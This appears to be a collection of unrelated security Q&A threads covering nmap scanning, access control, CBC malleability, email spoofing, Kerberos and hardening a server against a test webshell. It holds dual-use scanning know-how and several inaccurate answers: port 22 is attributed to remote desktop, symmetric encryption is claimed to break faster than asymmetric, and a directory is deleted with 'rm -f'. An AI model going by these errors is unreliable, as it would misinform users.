|       TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (dh 1024) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (dh 1024) - A
|       TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - A
|     compressors:
|       NULL
|     cipher preference: server
|     warnings:
|       Key exchange (dh 1024) of lower strength than certificate key
|_  least strength: A

That also tells me that scripting is not completely broken in my nmap build.  I know that the script is installed because when I try to run a script with a nonsense name, I get an error.  So it seems that the preconditions to ssl-dh-params are satisfied.  Yet I get no output from it, or from nmap to indicate that tried to run that script at all, even when I run nmap with -vvvvv -ddddd.

What's going on?  Am I making some mistake?  Is the script broken?

Nmap's scripts require the "rule" function to return true before they will run against a target. The rule function for ssl-dh-params checks for common SSL port numbers, but also for whether version detection (-sV) found SSL present. You can get it to work on any port easily by adding -sV, or if you are in a hurry, -sV --version-light.

Because ssl-enum-ciphers is a very popular script that people often request to run on unusual ports, we expanded the rule function for that script to also send some SSL-detecting probes if version detection was not requested. We didn't make this change to other ssl-* scripts because fewer users complained of missing results in this way. We'll consider adding this to other scripts in the future.

EDIT: Today I moved the extra probing code from ssl-enum-ciphers into the shortport.ssl function so that all SSL/TLS-related scripts can work the same way. The probes will only be sent once per port; the result is cached and will be checked by the other scripts as needed. Watch for it in the next Nmap release.


Attacking a server on port 80 while only port 22 is open on the firewall There is a question bugging me a after reading on network security.

Theoretical situation: there is a packet-filtering firewall, which only accepts tcp/ip communication with destination port 22 on a protected private network.

(The port on a machine outside this protected network is not specified in the firewall's rules.)

Now imagine a botmaster, who tries to carry out an attack and communicate with a bot listening on port 80. The botmaster wants to for example send an IRC message "I got trough!" to any IRC channel, e.g. "starwars".

In order to get the packets trough (i.e. not get dropped by) the firewall, what kind of ipv4-packet should the bot master send in this particular scenario?

I'm especially interested in the TCP fields port numbers and the payload.

I'm totally confused on the 22 vs 80 part, how would that be possible. Why would this attack work?

And how could I adjust the firewall to be improved and detect any malicious behavior?

The only way to do this is if some running application or process were to forward port 22 (external) to port 80 (internal) on the server. Otherwise (provided the firewall and operating systems are the usual Linux / Windows / Mac OS) it is impossible in all scenarios I know of to do this. A good thing too - otherwise servers would be getting hacked all over the show. A server with a firewall with no ports open would be completely inaccessible unless it allowed an open port

The idea is that a running program "listens" on a port for a communication handshake.

For example, port 22 is listened to by some remote desktop software (such as PC-Anywhere)
http://www.speedguide.net/port.php?port=22

Port 80 is the standard web browser access port - meaning that website hosting server software (e.g. Apache, IIS) listen on that port for anyone pointing their web browser there.


Limiting database lookups by token metadata I have an app. Upon a successful login, users get a jwt authentication token that contains various data and expires in 30 min. A valid token is needed in order for the app to call various backend functions and access database resources. However, once the token is verified, the backend functions impose no further security constraints. I'm afraid that this could result in the following attack:

1) Hackers create a valid user account (with bs information), and log in. They now have a valid token.

2) Using that token, they then manipulate various requests to the backend: E.g. they provide some other parties' user-id in the body of the request, and are consequently able access backend resources as if they were that user.

Concrete Example

There is a backend function called deleteUser. It deletes the user associated with the userId passed in the body of the https request. Before being called, the function validates the token, but does not check to see if the token corresponds to the userId in the body of the request. By passing a token associated with a user_A and an id that corresponds to user_B, I'll be able to use user_A's token to delete user_B.

The simple solution

Check that the token's metadata matches the parameters getting passed in the body of the request. However, this is not always simple. Sometimes the information passed in the request body is several steps removed from the data contained within the user token. E.g. a function deleteProperty takes a property_id in the request body, but to verify that the property_id in question relates to the authentication token's metadata would require some expensive database operations - this slows down the app and increases computational load on servers.

Is there a name for this kind of attack? What is the recommended way to stop it? Are there better solutions than what I outlined above?

This would be what the latest OWASP list calls "Broken Access Control". You are requiring authentication, but not checking that the user has permission to access the resource.

You don't really have any other option but to check that the user has the appropriate permissions. This means after validating the token you will have to read the value of the user id and pass it into the functions that operate on the data.

Depending on your language or framework you also may have a convenient method of accessing the autheticated user id via some other mechanism.

If it slows down the application or increases the load then so be it. The alternative is to leak data by a simple manipulation of the request body or url parameters.

You should also make sure that you protect admin level functions with appropriate claims in the JWT.


Prevent a process from reading my process list I'm using an app right now that for some reason reads all my processes. Is there a way for me to prevent this from happening? Or maybe hide 2-3 processes I have?
I'm using Windows 10 64 bits

Thanks in advance.
(I post this in security because it is a security problem for me)

In General

You can not do this easily as a user.

Windows provides an API which does not require elevated privileges to get this list of running processes: https://docs.microsoft.com/en-us/windows/desktop/api/Psapi/nf-psapi-enumprocesses

Technically you could hide your process by hooking (read: replacing) this API with a version that strips your app info, but this is a pretty substantial effort.

In Your Case

It sounds like from your comments that someone has remotely been able to take screenshots and get the process list. This is bad news. There are two primary cases:

The game you are using has vulnerabilities which enable this this other person to execute some code on your machine.
This person has somehow managed to install some kind of spyware on your machine.

Both are bad, and it isn't easy to figure out which is the case. I suggest removing the game and running your malware/spyware removal tool of choice (Windows Defender is a good start).


Firewall defined Akamai IP Range With obvious dangers of opening up a wide range of ips, does anyone know how I can get a source of IP ranges for Akamai?

When talking to Akamai they say 'not possible' which I find surprising.

I need a range of IPs that would be served in the USA/Texas/Arlington (area)

Thought on how to go about this? I cannot seem to find a 'range' or answer on IPs for Akamai servers, and our security team is just not able to authorize outbound traffic.

So the question is, has anyone tackled this as a security concern? My only thought is we mitigate the risk by using a proxy server for our outbound connection, which would limit the potential outbound attack vector.

Akamai Technologies, Inc. currently publishes it's IP ranges under these 14 ASNs (limiting the list to US based operations):

AS36183, AS35994, AS35993, AS30675, AS23455, AS23454, AS22207, AS20189, AS18717, AS18680, AS17334, AS16702, AS16625, AS12222

The list of IP ranges goes into the thousands though (roughly 4000 of them), so I suggest you rather define firewall rules based on reverse DNS lookups, if that's possible on your equipment, or compile an import list by using the approach I describe in the answer to the question "How to get info on company , company owned sites etc…?".

Problem is, these ASNs and IP ranges might constantly change, and you'll have to keep your list updated on regular basis.

Alternatively, you could extract only IP ranges (IPv4 and/or IPv6) published under the ASN your network is assigned to, hopefully limiting that list to a more manageable number of ranges.

Edit to add: You say in the comments to your question that rDNS is out of the question for being insecure. You're spot on with that, as these records a reverse DNS lookup is checking against can be all too easily spoofed. There is one way to check this however that might mean it's also possible to automate your firewall filters without resorting to ridiculously long IP range lists: Forward-confirmed reverse DNS Look-up.

I wouldn't know if your firewall appliance is actually capable of doing this check, so that might be a no-go, but if it does, what it will do is take the client's IP that is connecting, do a reverse DNS lookup and then query the DNS name returned against A or AAAA records. If the list returned includes client IP, then the FCrDNS was successful, otherwise it wasn't. See this question of mine for a bit more explanation on how this FCrDNS might be used and what it's good for.


Symmetric encryption - given plain text, produce cipher text without key Suppose Alice and Bob are communicating using a peer-reviewed symmetric encryption algorithm such as AES-256. Bob possesses a private encryption key to decode messages from Alice, but Alice does not have this key.
If Alice has plain text ready to encrypt and send to Bob, is it computationally feasible for Alice to produce cipher text that would be successfully decrypted by Bob without knowing his encryption key?

This depends on the block cipher mode that's used and/or any message authentication that the system may do. But plain old encryption-only modes likes AES-CBC and AES-CTR are vulnerable to malleability attacks, where an attacker who can get some ciphertext (or even better, ciphertext/plaintext pairs) is able to modify it to produce a message some aspects of whose decryption they can choose. There are practical examples of this, like the EFail attack:

The attacker changes an encrypted email in a particular way and sends this changed encrypted email to the victim. The victim's email client decrypts the email and loads any external content, thus exfiltrating the plaintext to the attacker.
[...] Because of the specifics of the CBC mode of operation, an attacker can precisely modify plaintext blocks if she knows the plaintext. S/MIME encrypted emails usually start with "Content-type: multipart/signed" so the attacker knows at least one full block of plaintext as shown in (a). She can then form a canonical plaintext block whose content is all zeros as shown in (b). We call the block pair X and C0 a CBC gadget. In step (c), she then repeatedly appends CBC gadgets to inject an image tag into the encrypted plaintext. This creates a single encrypted body part that exfiltrates its own plaintext when the user opens the attacker email.

None of this requires knowledge of the key.
The modern solution to this sort of thing is the use of Authenticated Encryption modes (aka "AEAD"), for example AES-GCM, that contain additional protections to detect and reject forged ciphertexts. But the use of this and other similarly modern algorithms is still not universal—for example EFail is an attack on S/MIME and PGP email which are older technologies but still widely used.


Methodologies for test & benchmark of Antivirus Software I want to evaluate a new antivirus product which obviously hasn't undergone the tests by known test labs. So I want to measure its performance in different aspects and come up with common comparisons and measurements that are available for popular AV products.

My question is that, are there any formal or standard methods, test environments, test data and information available to conduct such a test? Like getting a standard collection of malware samples and testing the new antivirus with that and comparing the results with available AVs or in an inferior case, comparing all possible antiviruses myself with available samples and environment.

Should I use virtual machines and sandox like technologies to see if the AV detects and clears malware samples and then revert back to a clean snapshot or are there easier ways to do it? Any kind of tip and guide will be appreciated.

As for test environments, there are several open source mechanisms that combine given mail server with one or many antivirus engines. You can analyze them and reimplement invoking each engine in your own environment to scan a file.

As for test data, look at http://vxheaven.org/ website for samples.

And yes, you should use virtual machines instead of running anything possibly rogue on your production systems.


Are text and html files vulnerable to altering in transit through Tor network? I have read that doc and pdf files are risky i.e. vulnerable to altering when downloaded through Tor. Could text documents downloaded from ghostbin or pastebin be made malicious in transit too? What about website page downloads (one html file and one associated folder)? Will it be safe if I drag and drop these text and html files on Tor window to open them?

References:
In Kali Linux, how can I open files in a safe manner without disconnecting internet?

If the url is http (not https) they could.

There are studies about malicious tor nodes that inject virus in executables.

There are studies about internet routeurs (so it's apply to tor AND not-tor traffic) that inject ads in html webpages.

  Will it be safe if I drag and drop these text and html files on Tor window to open them?

If you open local content with your tor browser, it doesn't transit on the network, so if that local webpage doesn't call external urls, it can't be altered by the network.


Senario:SSL Enabled Online Banking Application. Question: Should card numbers be provided back to a user un-masked, when there is a failed login? For an online banking application with SSL enabled, should card numbers be provided back to the user unmasked, when there is a failed login.

Would this be a violation of PCI DSS 3.3 or not as the validity of the PAN is unknown?

PCI DSS 3.3 "Mask PAN when displayed (the first six and last four digits are the maximum number of digits to be displayed)"

Just to fill in the blanks a little more, many Canadian banks use PAN's and a password for logging into online banking. In most cases the PAN are not masked during the initial login. Thinking more on this, I suppose there is no real added risk to returning the PAN on a failed login if its entered in the clear initially. However I can see now that this is probably not best practice either. In order to protect from shoulder surfing, which is the risk in this scenario, the PAN should be treated similar to a password and masked on entry, and not returned either on failed login.

PCI-DSS Section 3.3 Obtain and examine written policies and examine
  displays of PAN (for example, on screen, on paper receipts) to verify
  that primary account numbers (PANs) are masked when displaying
  cardholder data, except for those with a legitimate business need to
  see full PAN

If the argument can be made that the user has a business need to see the full PAN, then it would be perfectly fine to display it after a failed login if it was being used as the login credential, though there could be a strong argument that the credit card number shouldn't be the login credential.  SSL will ensure that the end point is the same that made the request, so if they'd be able to see the CC# being provided back, they would have been able to see it going across the wire in the first place.  Note that this assumes that the user entered the CC# and you want to show them what they entered when they enter it incorrectly.

My understanding of section 3.3 is simply that an employee should not be able to see the PAN unless they have a need to.  The user whose PAN it is would have a legitimate business reason to see it as it is there number.  The concern is making sure that the number is not shown to those who shouldn't have access to it.

That said, it sounds like a few things could be done better about the process you are describing even if SSL and PCI-DSS section 3.3 are not directly a problem with the situation described.  You don't want to use a CC# as the username.  This is why most there are account registrations in which the PAN is entered once and from then on, the username is used instead.  This should make it so you never need to display back the CC# used.  Also, if the field was masked going in, it should remain masked.


Can I specify a public key file instead of recipient when encrypting with GPG Can I do something like:

gpg --public-key my.pub  -e file.txt

If I can, any reason that I should not do that?

P/s: I think I don't need to know about the recipient because my machine only has one public key at a time.
But that key will change soon (and I can delete all the old encrypted files, so no need to keep them).

GnuPG does not support encrypting to a recipient specified by a key file. The key must be imported in advance, and the recipient defined with either his mail address or key ID.

I'd recommend to use a cleaner approach as expected by GnuPG and hard-code either the key's fingerprint, or a user ID given by that key and import it as usual.

If you really do not want to import the key, you could do following as workaround (which actually imports the key, but to a temporary GnuPG home directory):

Import the key to a temporary folder, for example using

gpg --homedir /tmp/gnupg --import my.pub

Determine the key ID of the key stored in the file:

KEYID=`gpg --list-public-keys --batch --with-colons --homedir /tmp/gnupg | head -n1 | cut -d: -f5`

Encrypt a message to the recipient

gpg --homedir /tmp/gnupg --recipient ${KEYID} --encrypt

Clean up temporary GnuPG home directory

rm -f /tmp/gnupg

You could of course save this as a script to make using it more convenient.


Why would I use an ACK scan over a FIN scan and vice versa? I understand that both scans return RST packets and you can use this to scan hosts behind poorly configured firewalls.  Is the idea to use both in case the firewall doesn't check for one?  For example a firewall might be blocking SYN and FIN packets but due to misconfiguration could use an ACK scan?

According to nmap.org, the ACK scan compared to FIN,PSH,URG,SYN:

  [ACK] scan is different than the others discussed so far in that it
  never determines open (or even open|filtered) ports. It is used to map
  out firewall rulesets, determining whether they are stateful or not
  and which ports are filtered.

Rather than using an ACK scan over a FIN scan, instead use a combination of scan types to glean extra information from a system.

For example a FIN scan may return the following:

22/tcp    open|filtered ssh

And an ACK scan of the same host may return:

22/tcp  unfiltered ssh

An ACK scan will return unfiltered for both open and closed ports on an unfiltered system.

If one scan type identifies a port as open or filtered and another identifies it as open or closed, logic dictates that it must be open.


Is there an example of a web server that does steganographic watermarking? You could imagine a web app that serves subtly different versions of a page to each user. For example, it might encode the identity of the user in the images it serves. This would be a per-user watermark. On a private site, the consequence would be that if any image were leaked, it would be possible to identify the leaker from the watermark.

More sinisterly, the watermarks could be added using steganography, so the variants appear the same to the naked eye. Users would not be aware of the watermarks, and it could only be detected if two users collaborated to compare downloads (their files would have different hash sums).

Is there a name for this idea? Has anything been written about its feasibility or implications? Are there any examples of software that does it?

Edit: My example discussed images, but text documents could also be watermarked, perhaps by inserting invisible zero-width characters. With that method, the watermark would be lost if the document were printed and scanned. However, another steganographic algorithm might hide information in spelling mistakes, or by replacing words with synonyms. That kind of watermark would survive being printed and scanned, or even being transcribed by hand.

Good watermarks are meant to be invisible to the naked eye anyway, or "mostly". The point of the watermark is that it does not disturb too much the data contents, but the presence of the mark can still be detected. In many bank notes, the watermark is made visible to the naked eye because its presence must be detectable by a vendor who will use, indeed, his naked eyes. However, it is better if the mark can be somehow "hidden" so that it does not degrade the quality of that which is marked, especially when the marked element has some aesthetic value. In that sense, good watermarking, especially for pictures and videos in the digital age, should be "steganographic".

In fact, if it is interesting for anybody to remove the mark (e.g. to distribute copies which cannot be traced to him), then the mark ought to rely on steganographic techniques so that its presence is not detected.

Unfortunately (or not, depending on point of view), it is nigh impossible to do user-specific watermarking that cannot be removed. Indeed, if two users purchase the access right to the contents, a simple comparison (byte by byte, pixel by pixel, frame by frame...) will reveal where the user-specific watermark lurks, and allow removal. Watermarks have been studied a lot in order to enforce DRM; the rough summary is that it does not work. The hope was to be able to add a watermark that users cannot remove. Nobody found a method for that. At best, you may add some data whose presence the user does not even suspect, but the digital comparison between versions for two users destroyed that hope.

It used to work in the analog age; for instance, video-tapes containing copies of new movies, sent to critics one week before the theatrical release, were heavily tagged (in the analog signal) with an identifier for the target critic.

The only successful application that I can think of is the story of a teacher who voluntarily pushed (obviously) fake information in Wikipedia so as to trace within his pupils who were stupid enough to copy&paste from Wikipedia without even trying to understand what they were doing.

(The teacher and the powers-that-be at Wikipedia then engaged into acrimonious bickering and all failed to draw the proper conclusions. The teacher wanted to prove to his pupils that "the Internet" is unreliable; the Wikipedia people vindicated the teacher for "vandalism" but really for the capital crime of suggesting that Wikipedia is not the most reliable of sources. The only correct inference was that of the pupils: if you want to cheat, do it well. Don't forget that teachers are nasty cunning buggers.)


Why does OAuth 2.0 RFC6749 disallow fragments in redirect URI? I wasn't able to find a similar question explaining the considerations of the RFC6749 specification when it comes to redirecting the user from the authorization server to the client. In the RFC document, under 3.1.2, it states

  The endpoint URI MUST NOT include a fragment component.

How come this is "MUST NOT"? Are there any security considerations here? I clearly do not want to redirect using simple query params for user-agent clients as they are available during transition. I've noticed OIDC implements this using hash fragments, but I'm wondering why OAuth 2.0 discourage this?
Any takes?

If the question has been answered previously I appreciate help with linking to the question.

EDIT:

I'm wondering If I have misunderstood the phrasing used, could the endpoint URI point to the URI BEFORE appending access_tokens? aka. the endpoint URI's registered for the client, "redirect_uri" and not the actual redirected URI. I assume this because one wouldn't want two fragments in the redirected URI.

You are right. RFC 6749 says the endpoint URI without the appended access token or authorization code is the one that MUST NOT contain a fragment.

The reasoning probably is that there would be two fragments after the redirection as the authorization code or the access token get appended during the execution of the grant.


How To Prove That Client Side Javascript Is Secure? Imagine that you have a web application that encrypts the user's data, such as a note or spreadsheet, on both the server and client.

The normal process for a user using this web application is something like this:

The user logs into the application using a login/password-hash stored on the server. (Like normal web applications.)
The user enters an additional secure key that is used to encrypt the client side data. The web application uses a client side encryption library such as SJCL

In this example let's just focus on the client side.

The situation is this: The server has been compromised and an attacker access to the server side keys. The attacker does not have the client side keys as they are never stored on the server.

Now the attacker needs to modify the Javascript to read the client side key when the user enters it in the web application (client side). The Javascript would be programmed to send the key to the attacker/server. Now the attacker has won.

I understand that it's assumed that once you take over the server, you've lost, but I would like to know if my thoughts below allow for a client side secure solution.

The situation

The HTML is assumed to contain some Javascript code inside some script tags, and there is also lot of Javascript code loaded via external Javascript files that reside on the server. It's the Javascript that runs the web application that is the problem. We have to assume that the attacker has modified any Javascript, be that inline or external.

Possible solution?

I want to be able to generate a hash of all of the Javascript loaded from my server. The has will act as a fingerprint for the client side Javascript code and the user will be wary of a new hash.

These are the two ways I have thought about so far:

Take a hash of all files loaded to the client. This means requesting all of the files included again.
Take a hash of all of the Javascript code in memory. (Can this even be done?)

The common problem with both options is that whatever function is actually doing this hashing, it needs to be small enough that the concerned user can verify it's safe to use within a few seconds.

I am thinking that this hashing function loads into the browser like normal, and the user can type the function name from the console without the () so they can see the code, and then type again with () to run the code.

Then the hash should be good enough for proving that the web application is in a state that the user knows they have inspected in the past.

This could even become a plugin at some point, although I am determined to see if a native solution is possible.

Essentially what I am asking is, what methods exist that allow us to prove the integrity of the client's state?

You can't be sure it hasn't been tampered with. An attacker is running code on your system - given sufficient effort, they can manipulate anything that happens within the browser context that you're running in (so, a plugin doesn't suffer the same way - it's in a different context).

Not all of the points in the Matasano link from @SmokeDispenser are totally correct anymore, although the basic principle stands. Efforts such as the WebCrypto API are trying to address some of the problems, but are not mature yet - even if they were, it wouldn't be possible to determine with certainty that the code was not doing something malicious at the same time as performing the expected behaviour.


Why can't my email server automatically identify spoofed addresses? I get this question from business stakeholders a lot, and I have tried to solve this problem on my own. I have a potential approach, but I want to challenge my assumptions.

In my mind, it should be trivial to parse an email header to identify a spoofed address by comparing the fields:

alias: "John Smith"
from: jsmith@example.com
reply-to: jsmith@example.com, or even, group@example.com
Received: a server-generated address

100% of the phishing incidents I investigate, there is an obvious mis-match in the 4 fields because the attacker manually specified at least one of the first 3 fields. Any mix of the internal or receiver's corporate domain with external domains is a flag. An alias that looks like an email that does not match the from and reply-to is a flag.

But the complexity comes in when the email is:

part of a chain
forwarded
sent to multiple people
sent from a email managing service

Figuring out which emails are spoofed can become tricky in these cases, but none of the above conditions exist in my investigations. For instance, a spoofed email or phishing attempt has always been an initial contact from a single outside source. Email managing services are known and easy to whitelist

If this continues to be the case, wouldn't it be trivial to identify and alert on spoofed emails? You have two header fields to parse (from and reply-to), and their contents are predictable and straightforward enough to create a simple regex to test against the alias and Received fields.

Am I missing an element in my assumptions?

I think this method would return a lot of false-positives.  One case in particular where you would have false positives is where the sender's organization has their own domain name (senderdomain.com), but they use a third-party hosted outgoing SMTP server (such as their ISP's outgoing SMTP server, or an email hosting company's outgoing SMTP server) to send outgoing mail.  This is very common - especially these days, with many large companies outsourcing their mail to Gmail.  So, in this case, you would have:

•alias: "Joe Sender"
•from: joe.sender@senderdomain.com
•reply-to: joe.sender@senderdomain.com
•Received: smtp.sendersmailprovider.com

As you can see - in this case, the fourth field (where the name of the outgoing SMTP server that the message was sent through appears) contains nothing that matches with any of the information in the other three fields, so the message would be incorrectly flagged as spam according to your logic.

This is why we have message authentication methods such as SPF and DKIM, which rely on information published in the DNS of the sender's domain to enable spam filters to determine (with reasonable certainty) whether or not a message was in fact sent from the sender that appears in the message's headers.

SPF accomplishes this by explicitly specifying the IP addresses (or range of IP addresses) of SMTP servers that mail from the domain will originate from, in the DNS for the domain.

DKIM accomplishes this by digitally signing messages sent from the domain, where the digital signature is written in the message headers and the public key that is used to verify the digital signature is published in the DNS for the domain.

For more info on how both of these methods work, see https://www.ultrasmtp.com/kb/messageauthentication.php.


Browser not generating kerberos ticket Firstly, please apologise me if I'm still confused about stuff here, Kerberos auth is quite the complex issue for a java dev

So, I have the following scenario:

A suite of webapps which use kerberos pre-authentication for access and LDAP profiles authorization for the sub-sections

I have a Windows Server in AWS with a forest (typical EXAMPLE.COM) with an Administrator user that is member of all necessary groups.  All relevant ports are open and accessible, and if I do a search by username with Spring LDAP, it works fine

The company I work in has its own AD and my PC belongs to this AD, so technically I'm handling two ADs, however, I have no access to the CORP AD, obviously, it's just there.  However, I've added a user to the Windows Server AD in AWS with the same username, password and member of all necessary groups JFI

The issue comes when starting the app in my local PC to test this.  I have configured firefox as mentioned in this post, but when I try to access the app via browser (localhost:port) the Negotiate header never contains a ticket to authenticate against

Not sure any code would help here, but happy to share any snippets or start a chat if that could help

It seems you may have some misunderstanding of Kerberos and/or Windows domains.

First of all, the browser doesn't generate a Kerberos ticket; a domain controller does. At most, the browser will ask the local security authority (LSASS) to do it. To get Kerberos working, you need to understand how authentication and trusts work in an AD environment.

The user in your local AD is completely separate from the user in the cloud AD, and they have no relationship at all to each other. The fact that you could authenticate between Windows machines in the past using the same user/pass is a legacy thing that will not work with Kerberos.

For cross-domain Kerberos authentication, you must establish an Active Directory trust. Whether this is a one-way or two-way trust depends on which resources are being accessed by which users across all applications. You'll need to talk to your AD team to sort that out; trust configurations are domain-wide.

The lack of a Negotiate header suggests that Kerberos isn't even starting. In order for that to happen, your client must be able to construct and validate the service principal name (SPN) of the remote host. Once it does that, it can request a service ticket that it will pass to the remote host for authentication.

Since SPNs are a Kerberos feature, it is impossible to validate the SPN of a host that is not part of your own domain/realm or a domain/realm that you trust. Once the trust is setup, SPN validation should be seamless if (1) DNS is setup properly and (2) the server has correct SPNs published in its Active Directory.


How can I tell if I have the citadel virus without downloading an antivirus? I recently received an e-mail from Virgin Media indicating that I might have the Citadel virus. It obviously sounds like a fake e-mail, but I am almost certain it is genuine, as they had my name and account number, and a generic version of the e-mail available on virginmedia.com, here:

http://my.virginmedia.com/customer-news/articles/malware_email.html

I went to the bitdefender website to do the free online scan, and after thirty seconds it told me I was safe, but I wasn't too reassured that it could check my whole drive so quickly.

I don't have any sort of security software, as I am normally quite careful about what I download and what sites I visit, but in the past when I've made mistakes I've been able to find the files installed and uninstall them, but all my searches can't tell me what to look for, and if this is a proper virus rather than just the normal adware it might be more complicated than I thought.

Can anyone recommend what I should do, apparently this virus is quite good at hiding from antiviruses, but if the only way to find out for sure if it's on my machine is to download a clever one and run it in safe mode I will.

If you dont like to install an antivirus you can always use a rescue disk to scan your system.

They require no installation
They are usually free
They can hunt and remove the virus even when it's attached to a system file, something you cant usually do on a live system

Kaspersky Rescue Disk
http://support.kaspersky.co.uk/viruses/rescuedisk/

Avira Rescue System
http://www.avira.com/en/download/product/avira-rescue-system

Bitdefender Rescue CD
http://download.bitdefender.com/rescue_cd/

AVG Rescue CD
http://www.avg.com/us-en/avg-rescue-cd-download

Dr. Web LiveDisk
http://www.freedrweb.com/livedisk/?lng=en


What is the best way to lock down web service access permissions? After everything what I did in order to protect my server, i have uploaded webshell  (WSO 2.1 Web Shell) , to see how far can hacker go and gues what, I was shocked, because I was able to read very sensitive information.

I can run number of commands and read a lot of private data.

As you can see from source code of webshell... and that's not all you can do, but there is more...

If permissions are not as it should be, then it's possible to read the content of those files.

So question is simple, what can I do in order to protect my server, how can I limit/restrict shell command execution via PHP.

What are recommended permissions for:

/bin
/sbin
/usr/bin
/usr/sbin

I'm running Apache/2.4.7 (Ubuntu)

I also did all of this. (Hardening PHP from php.ini)

EDIT: I'v missed popen from disabled PHP functions. That solved my problem!

i have uploaded webshell (WSO 2.1 Web Shell)

Hmmm. If you leave your car keys in the ignition and park your car in a bad area, would you be surprised if it was not there when you get back? Certainly security in depth is a good idea, but what is exposed to code running on your server is not the starting point for hardening your server. Sadly the boilerplate recommendations you followed were, like most of the articles I've seen, a simple checklist of instructions with little explanation or justification.

If you really have taken adequate precautions against code injection (I note that eval and preg_replace() are not disabled in this howto, but things like posix_setuid() are!!!) and have applied all the best practice in securing the platform (which, based on the screenshots, you clearly have not done) and deployment process, then yes, you might then consider restricting what code which bypasses all these controls might do.

To that end, there are some very simple things which will have a big impact;

work out a proper permissions model and apply it
configure apparmor or grsecurity to further constrain the behaviour (selinux sucks)
or run the php in a chroot environment / container if appropriate
use suhosin
find out what extensions and functions your code needs to run and remove extensions / disable functions which are not needed

The single, most valuable thing you can do is learn about what the facilities you have available actually do and hence how they affect your risk.


Would it be possible to have a javascript observatory, stricter sandboxing and stricter CSP (Content Security Policy) for Tor? Would it be possible to have a javascript observatory and stricter CSP (Content Security Policy) and implement it for the Tor Browser? A javascript observatory should work similar to EFF's SSL observatory, it should observe javascript and check if it is an exploit or XSS code and block it, instead of the allow all or nothing from domain X approach used by NoScript. NoScript XSS filter is flawed. NoScript offers no protection against trusted website servers that get hacked.

Tor Browser only implements a very limited set of Content Security Policy, it does not allow blocking XSS and other malicious javascripts using Content Security Policy rules like script-src 'none'.

Stricter sandboxing (for Windows), could prevent exploit code to access APIs that give access to username, computer name, MAC address, hostname, open connections to arbitrary IP addresses, etc. As clearly done by the FBI: https://twitter.com/jonathanmayer/status/621100179345686528/photo/1?ref_src=twsrc%5Etfw

Could someone explain parts of the FBI's Firefox 0-day?

The SSL Observatory works by sending the SSL certificate to a 3rd party to confirm that it is valid. Doing the same for Javascript has two problems.

The first priorities of TOR is anonymity and privacy. If the TOR browser would send all Javascript to a 3rd party to validate it, that 3rd party would be able to create a detaile usage profile. Sure, there might be ways to work around this problem, but if anything it will increase the attack surface to deanonymize users.
You can not automatically scan Javascript for maliciousness. There are just too many ways to hide bad behavior. If that would be so easy, there would be browser plugins to do so (in fact there are, but their detect rates are abysmal). All you could do is maintain a whitelist of known harmless Javascript code. But that would require a team of security specialists to check each script manually. It might be worth the effort for some very frequented mainstream websites. But these are usually not the kind of websites the average TOR user is interested in.

Stricter sandboxing to prevent Javascript from doing things its not supposed to do is of course always a priority. None of those things you mentioned should be possible according the the Javascript specifications, so if any of that is possible, it's a bug which should be fixed in Firefox mainline and not just in TOR browser.


RSA and AES combination in offline situation I need to securely request and receive data from a server. The client has the RSA public key, and the server has the RSA private key. So I am generating a random key for AES-128/CBC cipher and encrypting my data using this cipher. The key is encrypted using RSA Public key and decrypted at server end, so both the client and server can communicate for the session.

Now, I have requirement where I need to do this in an offline fashion. The encrypted request will be sent to the server administrator and he will generate the encrypted response.The symmetric key should not be stored in Disk, for later usage. How should the server administrator share the symmetric key with client?

Perhaps, creating one more key pair, in which case the client will have the private key (other than a public key which it already has) and server will have a public key.

But is that secure?

The idea of using symmetric keys on top of asymmetric encryption is derived from the fact that online communication channel cannot afford the computation required for asymmetric encryption at all time, should they meet some performance criteria (e.g. time). Having an asymmetric handshake ensures the confidentiality of the symmetric key to be used with the cheaper symmetric algorithm for the session. This sessions is meant to have a rather short duration before you expire its key. This is due to the fact that the symmetric encryption can be broken in shorter times than the asymmetric one. However, the data transmitted over such a channel are usually no more relevant when this can theoretically happen (plus the fact that the message itself is not cached on extended period).

If your data cannot harm you if they are decrypted in let's say 3 months, then the symmetric encryption is a good way to go. However, you still need to ensure that you won't re-use the key of this communication for another communication (I guess this is what you meant by saying "the symmetric key should not be stored in disk" ?). If your data has a longer expiration date, you should probably look toward a two-way asymmetric encryption (with each client/server having a key pair that is). Being offline, the time required to encrypt the data is irrelevant and the offline process is more prone to leave "traces" of your encrypted data somewhere.

You asked also "is that secure". Well it depends on what "security" you are looking for. No security if perfect. Even asymmetric encryption requires you trust the mean used to get the public key. I hope the previous paragraph gave you enough clues as how to assess your risks, therefore decide how secure you are.


Simulation of cloud based digital signature with Hardware Security Module (HSM) I am working on a cloud-based digital signature with a Hardware Security Module (HSM). I know that PKCS#11 AND Microsoft CryptoAPI implementation is required. I want to simulate the total process. For this, is Thales Simulator best for HSM? How can I connect this with PKCS#11 or Microsoft CryptoAPI? Or can anyone offer a better solution to simulate cloud based digital signature with Hardware Security Module?

Note: It will be better for me to simulate in Windows.

Your question seems peculiarly obscure to me, so I'll write here some explanation about the meaning of the terms you employ, under the hope that it will reduce confusion and lead to either an answer or at least a clearer question.

PKCS#11 is an Application Programming Interface: it is a set of functions, that applications use, and that are provided by a given device or system. From the point of view of an application, a "PKCS#11 driver" is a DLL that the application can load, and that DLL offers some functions for creating and using cryptographic keys. The application does not know how the keys are created and managed and used, and that is the whole point of using a standardized API. A physical device for managing keys (says, a HSM) will come along with a DLL provided by the HSM vendor, the DLL implementing the PKCS#11 interface. That way, any application that knows how to load a PKCS#11 DLL and call functions in it will be "instantly" compatible with all HSM that provide such a DLL.

There is no need for the key management system to be "physical". The application calls the DLL, and the DLL does what it wishes; it may use files and simple software to perform the cryptographic operations; it may call upon some remote server to do the job; or anything else. The application, by definition, does not know and cannot know what the DLL does.

Presumably, if you want to simulate things, then you could imagine using a PKCS#11 DLL that does things in pure software, so that you may develop and test your application before actually buying a HSM. That's the theory; it does not work well in practice because PKCS#11 is a huge API, and while PKCS#11 specifies functions and arguments, it does not pin down all possible behaviours, so implementing PKCS#11 is only one step towards interoperability. Speaking of which, not all HSM are equivalent to each other, so making tests with one HSM does not mean that your application will run with all HSM on the market.

To make things simple, if you need to simulate a HSM from vendor XXX, then the best, most faithful simulation is probably the simulator provided by XXX itself, because that's the point of such a simulator. Mind that "best" does not automatically mean "good".

